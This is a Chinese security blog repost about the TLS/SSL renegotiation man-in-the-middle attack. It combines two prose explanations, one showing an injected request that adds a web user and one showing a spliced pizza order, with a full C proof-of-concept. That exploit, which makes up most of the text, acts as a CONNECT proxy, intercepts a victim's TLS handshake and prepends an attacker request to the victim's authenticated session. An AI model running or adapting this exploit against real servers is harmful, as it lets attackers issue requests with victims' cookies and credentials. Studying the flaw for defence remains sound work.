Renegotiating TLS Attack 's

admin 2017年5月6日21:41:03评论349 views字数 8514阅读28分22秒阅读模式
摘要

# 鬼仔:综合帖,有云舒写的,有Sowhat写的,最后还有一个POC。作者:云舒摘要:sowhat大牛今天介绍了国外一 种的新的针对TLS/SSL3.0的攻击方式,貌似关注的人不多,所以我特地看了一下那个PDF,稍微八 卦一下。

# 鬼仔:综合帖,有云舒写的,有Sowhat写的,最后还有一个POC。

作者:云舒

摘要:sowhat大牛今天介绍了国外一 种的新的针对TLS/SSL3.0的攻击方式,貌似关注的人不多,所以我特地看了一下那个PDF,稍微八 卦一下。

这个攻击是非常巧妙的,主要是利用了TLS/SSL 3.0重置加密算法机制和HTTP协议请求头的key、value结构,实现了多次数据的组合以完成自己想要的请求,从攻击效果来看有点类似CSRF攻击。主要步骤如下:

1. 攻击者连接目标站点完成SSL握手称为session 1,并发送GET /adduser.jsp?u=yunshu&passwd=123 HTTP/1.1/r/nFVCK: 之类的数据包。

2. 攻击者劫持被攻击者访问目标站点的数据,在session 1中转发被攻击者与目标服务器之间的SSL握手,被攻击者和目标服务器完成握手称为session 2。

4. 目标站点和被攻击者通过攻击者的转发完成握手,在session 2中被攻击者发送自己的请求数据到目标服务器,类似于GET / HTTP/1.1/r/nHost: www.xxx.com/r/nAccept: */*/r/nCookie: admin=1/r/n/r/n之类的数据。

5. 目标站点在一个SSL Session 1中接收到一个新的SSL Client Hello时,会认为客户端是在要求重新生成密钥,因为在目标服务器看来session 2也是攻击者发过来的,而且是相同的TCP session中。最终导致目标服务器认为session 2是session 1密钥重置之后的延续,会将两次的数据组合到一起。

6. 最终数据如下:GET /adduser.jsp?u=yunshu&passwd=123 HTTP/1.1/r/nFVCK: GET / HTTP/1.1/r/nHost: www.xxx.com/r/nAccept: */*/r/nCookie: admin=1/r/n/r/n。FVCK字段服务器不认识,真实请求GET / HTTP/1.1当成了FVCK字段的值,一起被忽略掉,攻击者成功的执行了添加WEB系统用户的操作。

=================================================

作者:Sowhat
新的TLS/SSL3.0中间人攻击已公布 – TLS renegotiation attack

刚刚有研究人员公布了一种针对TLS/SSL的中间人攻击, 该攻击

1. exploitable (可操作性比较强)

2. 目前还没有解决方案, 等待各厂商出补丁.

3. 受影响的上层协议包括HTTPS,IMAP, SIP等等.

有人举了下面这个例子来帮助大家理解此洞

E.g., the attacker would send:
GET /pizza?toppings=pepperoni;address=attackersaddress HTTP/1.1
X-Ignore-This:

And leave the last line empty without a carriage return line feed. Then when the client makes his own request
GET /pizza?toppings=sausage;address=victimssaddress HTTP/1.1
Cookie: victimscookie

the two requests get glued together into:
GET /pizza?toppings=pepperoni;address=attackersaddress HTTP/1.1
X-Ignore-This: GET /pizza?toppings=sausage;address=victimssaddress HTTP/1.1
Cookie: victimscookie

And the server uses the victim’s account to send a pizza to the attacker.

whitepaper的全文: http://extendedsubset.com/Renegotiating_TLS.pdf

=====================================================

[zz]TLS/SSL3.0中间人攻击代码

BY Pavel Kankovsky

#include <errno.h> #include <stdio.h> #include <string.h> #include <unistd.h> #include <sys/time.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #include <netdb.h> #include <openssl/ssl.h> #include <openssl/ssl3.h>  void fail(const char *proc) {   perror(proc);   exit(1); }  void setup_server     (int *sock, int port) {   struct sockaddr_in sa;   int s, r, i;    s = socket(AF_INET, SOCK_STREAM, 0);   if (s == -1)     fail("setup_server:socket");   i = 1;   r = setsockopt(s, SOL_SOCKET, SO_REUSEADDR, &i, sizeof(i));   if (r == -1)     fail("setup_server:setsockopt(SO_REUSEADDR)");   memset(&sa, 0, sizeof(sa));   sa.sin_family = AF_INET;   sa.sin_addr.s_addr = INADDR_ANY;   sa.sin_port = htons(port);   r = bind(s, (struct sockaddr *) &sa, sizeof(sa));   if (r == -1)     fail("setup_server:bind");   r = listen(s, 5);   if (r == -1)     fail("setup_server:listen");   *sock = s; }  void do_accept     (int *accepted, int sock) {   struct sockaddr_in sa;   socklen_t sl;   int s;    sl = sizeof(sa);   s = accept(sock, (struct sockaddr *) &sa, &sl);   if (s == -1)     fail("do_accept:accept");   fprintf(stderr, "accepted %s:%d/n",       inet_ntoa(sa.sin_addr), ntohs(sa.sin_port));   *accepted = s; }  void setup_client     (int *sock, in_addr_t ip, int port) {   struct sockaddr_in sa;   int s, r;    s = socket(AF_INET, SOCK_STREAM, 0);   if (s == -1)     fail("setup_server:socket");   memset(&sa, 0, sizeof(sa));   sa.sin_family = AF_INET;   sa.sin_addr.s_addr = ip;   sa.sin_port = htons(port);   r = connect(s, (struct sockaddr *) &sa, sizeof(sa));   if (r == -1)     fail("setup_client:connect");   *sock = s; }  int xread     (int fd, unsigned char *buf, size_t len) {   int r, rlen;    rlen = 0;   while (len > 0) {     r = read(fd, buf, len);     if (r == 0)       break;     else if (r == -1)       return -1;     buf += r;     len -= r;     rlen += r;   }   return rlen; }  struct ssl_io_t {   SSL *ssl;   int fd;   int raw; };  extern int ssl3_read_bytes     (SSL *s, int type, unsigned char *buf, int len, int peek);  int rec_read     (struct ssl_io_t *io, unsigned char *buf) {   int r, l;  #if 0   fprintf(stderr, "rec read %s/n",       io->raw & 1 ? "raw" : "cooked"); #endif   if (io->raw & 1) {     r = xread(io->fd, buf, 5);     if (r == 0)       return 0;     else if (r != 5)       fail("rec_read:read1");     if (buf[0] != 0x80)       l = (buf[3] << 8) + buf[4];     else /* ssl2 hack */       /* fail("rec_read:ssl2"); */       l = (buf[1]) - 3;     if (l < 0 || l > (1 << 15)) {       errno = EINVAL;       fail("rec_read:reclen");     }     r = xread(io->fd, buf + 5, l);     if (r != l)       fail("rec_read:read2");     l += 5;     return l;   }   else {     r = ssl3_read_bytes(io->ssl, SSL3_RT_HANDSHAKE, buf + 5, 1<<15, 0);     if (r == 0)       return 0;     else if (r < 0) {       if (io->ssl->s3->change_cipher_spec) {     buf[0] = 0x14;     buf[1] = (io->ssl->version >> 8);     buf[2] = (io->ssl->version & 0xff);     buf[3] = 0;     buf[4] = 1;     buf[5] = 1;     io->raw |= 1;     io->ssl->s3->change_cipher_spec = 0;     return 6;       }       fail("rec_read:ssl3_read_bytes");     }     l = r;     buf[0] = io->ssl->s3->rrec.type;     buf[1] = (io->ssl->version >> 8);     buf[2] = (io->ssl->version & 0xff);     buf[3] = (l >> 8);     buf[4] = (l & 0xff);     return l + 5;   } }  extern int ssl3_write_bytes     (SSL *s, int type, const void *buf_, int len);  void rec_write     (struct ssl_io_t *io, unsigned char *buf, size_t len) {   int r;  #if 0   fprintf(stderr, "rec write %s/n",       io->raw & 2 ? "raw" : "cooked"); #endif   if (io->raw & 2) {     r = write(io->fd, buf, len);     if (r != len)       fail("rec_write:write");   }   else {     r = ssl3_write_bytes(io->ssl, buf[0], buf + 5, len - 5);     if (r < 0) {       fail("rec_read:ssl3_write_bytes");     }     if (buf[0] == 0x14) {       io->raw |= 2;     }   } }  void ssl_io     (struct ssl_io_t *assl, struct ssl_io_t *cssl) {   struct ssl_io_t *ssls[2];   int maxfd, active;   int i, r, l;   fd_set rfd;   unsigned char buf[1 << 16];    ssls[0] = assl;   ssls[1] = cssl;   active = 3;   maxfd = 0;   for (i = 0; i < 2; i++)     if (ssls[i]->fd >= maxfd)       maxfd = ssls[i]->fd + 1;    while (active) {     FD_ZERO(&rfd);     for (i = 0; i < 2; i++)       if (active & (1 << i))     FD_SET(ssls[i]->fd, &rfd);     r = select(maxfd, &rfd, NULL, NULL, NULL);     if (r == -1)       fail("rec_io:select");     for (i = 0; i < 2; i++) {       if (active & (1 << i) && FD_ISSET(ssls[i]->fd, &rfd)) {     r = rec_read(ssls[i], buf);     if (r == 0) {       shutdown(ssls[i]->fd, SHUT_RD);       shutdown(ssls[1 - i]->fd, SHUT_WR);       active &= ~(1 << i);       continue;     }     l = r;     rec_write(ssls[1 - i], buf, l);       }     }   } }  void setup_ssl_ctx     (SSL_CTX **ctx) {   OpenSSL_add_ssl_algorithms();   SSL_load_error_strings();   *ctx = SSL_CTX_new(SSLv3_client_method());   if (!*ctx)     fail("setup_ssl_ctx:SSL_CTX_new"); }  void setup_ssl_io     (struct ssl_io_t *io, SSL_CTX *ctx, int sock, int raw) {   SSL *ssl;   BIO *bio;    ssl = SSL_new(ctx);   if (!ssl)     fail("setup_ssl_ctx:SSL_new");   bio = BIO_new_socket(sock, BIO_NOCLOSE);   if (!bio)     fail("setup_ssl_ctx:BIO_new_socket");   SSL_set_bio(ssl, bio, bio);   SSL_set_connect_state(ssl);   io->ssl = ssl;   io->fd = sock;   io->raw = raw; }  int bogus_change_cipher_state     (SSL *ssl, int i) {   return 0; }  /* stolen from ssl_locl.h */ typedef struct ssl3_enc_method {   int (*enc)(SSL *, int);   int (*mac)(SSL *, unsigned char *, int);   int (*setup_key_block)(SSL *);   int (*generate_master_secret)(SSL *, unsigned char *, unsigned char *, int);   int (*change_cipher_state)(SSL *, int);   int (*final_finish_mac)(SSL *, EVP_MD_CTX *, EVP_MD_CTX *, const char *, int, unsigned char *);   int finish_mac_length;   int (*cert_verify_mac)(SSL *, EVP_MD_CTX *, unsigned char *);   const char *client_finished_label;   int client_finished_label_len;   const char *server_finished_label;   int server_finished_label_len;   int (*alert_value)(int); } SSL3_ENC_METHOD;  #define TRICK "GET /ble HTTP/1.0/r/nX-Blah: "  void hack_ssl     (struct ssl_io_t *assl, struct ssl_io_t *cssl) {   int r, l;   unsigned char buf[1 << 16];   SSL_METHOD *mth;    r = rec_read(assl, buf);   if (r <= 0)     fail("hack_ssl:rec_read:no i/o");   l = r;    if (buf[0] == 0x16 && buf[1] == 3 &&       (buf[2] == 0 || buf[2] == 1)) {     cssl->raw = 0;     r = SSL_CTX_set_ssl_version     (cssl->ssl->ctx, buf[2] == 0 ?      SSLv3_client_method() : TLSv1_client_method());     if (r != 1)       fail("hack_ssl:SSL_CTX_set_ssl_version");     r = SSL_clear(cssl->ssl);     if (r != 1)       fail("hack_ssl:SSL_clear");     r = SSL_connect(cssl->ssl);     if (r != 1)       fail("hack_ssl:SSL_connect");     /* ssl3_setup_buffers(io->ssl);        ssl_get_new_session(io->ssl, 0); */     r = SSL_write(cssl->ssl, TRICK, sizeof(TRICK)-1);     if (r != sizeof(TRICK)-1)       fail("hack_ssl:SSL_connect");     cssl->ssl->in_handshake++;     cssl->ssl->method->ssl3_enc->change_cipher_state =     bogus_change_cipher_state;   }   else {     /* schedule suicide */     alarm(5);   }    rec_write(cssl, buf, l); }  #define HTTP_OK "HTTP/1.0 200 Connected/r/n/r/n"  void handle_http_req     (int sock, in_addr_t *ip, int *port) {   int r, l, k;   unsigned char buf[1 << 16];   char str[100];   unsigned short num;   struct hostent *he;    l = 0;   for (;;) {     r = read(sock, buf + l, sizeof(buf)-1 - l);     if (r <= 0)       fail("handle_http_req:read");     for (k = l; r > 0; ++k, --r)       if (buf[k] != '/r')         buf[l++] = buf[k];     if (l >= 2 && buf[l-1] == '/n' && buf[l-2] == '/n')       break;     if (l >= sizeof(buf)-1)       fail("handle_http_req:req too big");   }    buf[l] = '/0';   r = sscanf(buf, "CONNECT %99[0-9A-Za-z.-]:%hu", str, &num);   if (r != 2)     fail("handle_http_req:bad request");   he = gethostbyname(str);   if (he == NULL || he->h_length != sizeof(in_addr_t))     fail("handle_http_req:gethostbyname");    r = write(sock, HTTP_OK, sizeof(HTTP_OK)-1);   if (r != sizeof(HTTP_OK)-1)     fail("handle_http_req:write");    *ip = *(in_addr_t *)(he->h_addr_list[0]);   *port = num; }  int main     (int argc, const char **argv) {   pid_t pid;   int ssock, asock, csock;   SSL_CTX *ctx;   in_addr_t ip;   int port;   struct ssl_io_t assl, cssl;    setup_ssl_ctx(&ctx);   setup_server(&ssock, atoi(argv[1]));   for (;;) {     do_accept(&asock, ssock);     pid = fork();     if (pid == -1)       fail("main:fork");     else if (pid == 0) {       close(ssock);       handle_http_req(asock, &ip, &port);       setup_client(&csock, ip, port);       setup_ssl_io(&assl, ctx, asock, 3);       setup_ssl_io(&cssl, ctx, csock, 3);       hack_ssl(&assl, &cssl);       ssl_io(&assl, &cssl);       return 0;     }     else {       close(asock);     }   } }

==================

cnbeta新闻:
[详讯]安全专家发现TLS/SSL保密协议存在致命漏洞 http://www.cnbeta.com/articles/97197.htm

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2017年5月6日21:41:03
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Renegotiating TLS Attack 'shttps://cn-sec.com/archives/44988.html

发表评论

匿名网友 填写信息